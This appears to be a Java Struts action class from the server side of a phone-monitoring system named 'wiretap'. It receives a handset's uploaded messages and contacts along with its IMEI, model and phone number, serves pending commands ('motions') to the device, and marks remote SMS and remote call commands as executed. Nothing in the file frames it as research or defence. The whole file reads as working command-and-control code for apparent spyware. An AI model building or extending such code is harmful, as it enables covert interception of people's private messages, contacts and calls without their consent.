package com.wiretap.action.admin.manage;

import java.io.PrintWriter;

import org.apache.log4j.Logger;

import com.wiretap.action.WiretapActionSupport;
import com.wiretap.service.MotionService;
import com.wiretap.service.RemoteCallService;
import com.wiretap.service.RemoteSmsService;
import com.wiretap.service.UploadService;
import com.wiretap.util.CommenUtil;

public class UploadAction extends WiretapActionSupport {

	private static final long serialVersionUID = 6174036653022758763L;
	private static Logger logger = Logger.getLogger(UploadAction.class);
	private String imei;
	private String model;
	private String phone;
	private String mid;
	private String clientVersion;
	// 消息字符串（JSON数组格式）
	private String messageStr;
	// 联系人json数据
	private String contactStr;
	private UploadService uploadService;
	private MotionService motionService;
	private RemoteSmsService remoteSmsService;
	private RemoteCallService remoteCallService;

	public void uploadMessage() throws Exception {
		logger.info("messageStr=" + messageStr + ";phone=" + phone);
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		String responseText = null;
		if (!CommenUtil.isEmpty(phone)) {
			phone = phone.replaceAll("\\+", "");
			responseText = uploadService.uploadMessage(phone, imei, model, clientVersion, messageStr);
		}
		if (responseText == null || responseText.isEmpty())
			responseText = "{}";
		out.print(responseText);
		out.flush();
		out.close();
	}

	public void getMotion() throws Exception {
		logger.info("imei=" + imei + ";phone=" + phone + ";model=" + model);
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		String responseText = "{}";
		if (!CommenUtil.isEmpty(phone)) {
			phone = phone.replaceAll("\\+", "");
			responseText = uploadService.getMotions(phone, imei, model, clientVersion, contactStr);
		}
		out.print(responseText);
		out.flush();
		out.close();
	}

	public void updateMotionStatus() throws Exception {
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		if (CommenUtil.isEmpty(mid)) {
			out.print("error");
		} else {
			motionService.updateMotionExcuteStatus(mid, true);
			out.print("success");
		}
		out.flush();
		out.close();
	}

	
	public void updateRemoteSmsStatus()throws Exception{
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		if (CommenUtil.isEmpty(mid)) {
			out.print("error");
		} else {
			remoteSmsService.setRemoteSmsExecuted(mid);
			out.print("success");
		}
		out.flush();
		out.close();
	}
	
	public void updateRemoteCallStatus()throws Exception{
		response.setContentType(CONTENT_TYPE);
		PrintWriter out = response.getWriter();
		if (CommenUtil.isEmpty(mid)) {
			out.print("error");
		} else {
			remoteCallService.setRemoteSmsExecuted(mid);
			out.print("success");
		}
		out.flush();
		out.close();
	}
	
	public String getImei() {
		return imei;
	}

	public void setImei(String imei) {
		this.imei = imei;
	}

	public String getModel() {
		return model;
	}

	public void setModel(String model) {
		this.model = model;
	}

	public String getPhone() {
		return phone;
	}

	public void setPhone(String phone) {
		this.phone = phone;
	}

	public String getMessageStr() {
		return messageStr;
	}

	public void setMessageStr(String messageStr) {
		this.messageStr = messageStr;
	}

	public UploadService getUploadService() {
		return uploadService;
	}

	public void setUploadService(UploadService uploadService) {
		this.uploadService = uploadService;
	}

	public MotionService getMotionService() {
		return motionService;
	}

	public void setMotionService(MotionService motionService) {
		this.motionService = motionService;
	}

	public String getMid() {
		return mid;
	}

	public void setMid(String mid) {
		this.mid = mid;
	}

	public String getClientVersion() {
		return clientVersion;
	}

	public void setClientVersion(String clientVersion) {
		this.clientVersion = clientVersion;
	}

	public String getContactStr() {
		return contactStr;
	}

	public void setContactStr(String contactStr) {
		this.contactStr = contactStr;
	}

	public RemoteSmsService getRemoteSmsService() {
		return remoteSmsService;
	}

	public void setRemoteSmsService(RemoteSmsService remoteSmsService) {
		this.remoteSmsService = remoteSmsService;
	}

	public RemoteCallService getRemoteCallService() {
		return remoteCallService;
	}

	public void setRemoteCallService(RemoteCallService remoteCallService) {
		this.remoteCallService = remoteCallService;
	}

}
